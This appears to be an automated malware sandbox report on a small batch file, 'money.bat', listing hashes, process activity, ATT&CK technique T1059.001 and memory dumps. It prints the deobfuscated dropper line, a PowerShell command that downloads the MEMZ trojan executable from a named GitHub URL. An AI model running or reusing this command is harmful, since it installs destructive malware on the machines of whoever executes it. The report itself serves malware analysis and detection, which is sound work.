c05aac3ddb8a6f4b46273593865a06d215d1e40e2f36e54a53bf024228476c44

Analysis

max time kernel
146s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
08/06/2024, 16:57

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General

Target

money.bat
Size

247B
MD5

793ba12cea78403d6ebf4ff158c91d07
SHA1

2ddc49d36ff736405288b0eb9e568e079b236ceb
SHA256

c05aac3ddb8a6f4b46273593865a06d215d1e40e2f36e54a53bf024228476c44
SHA512

d7dffb0ce13f9497a04b559886e4df7e0aa9762ce77d73656de9860b71ee3ab0784a0413e50a300fb7cc2e9c420a79c246259dfbcc28c4c5eb7aa0a7afe0f623

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/Dfmaaa/MEMZ-virus/raw/master/DOWNLOADS/memz.exe

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2316	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2316	powershell.exe
2316	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2316	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5076 wrote to memory of 2316	5076	cmd.exe	78
PID 5076 wrote to memory of 2316	5076	cmd.exe	78

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\money.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/Dfmaaa/MEMZ-virus/raw/master/DOWNLOADS/memz.exe', 'memz.exe') >nul 2>&1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mdrc3rbe.35b.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2316-0-0x00007FFD03473000-0x00007FFD03475000-memory.dmp

Filesize
8KB

Download
memory/2316-9-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

Filesize
10.8MB

Download
memory/2316-10-0x000001E9ED520000-0x000001E9ED542000-memory.dmp

Filesize
136KB

Download
memory/2316-11-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

Filesize
10.8MB

Download
memory/2316-12-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

Filesize
10.8MB

Download
memory/2316-15-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

Filesize
10.8MB

Download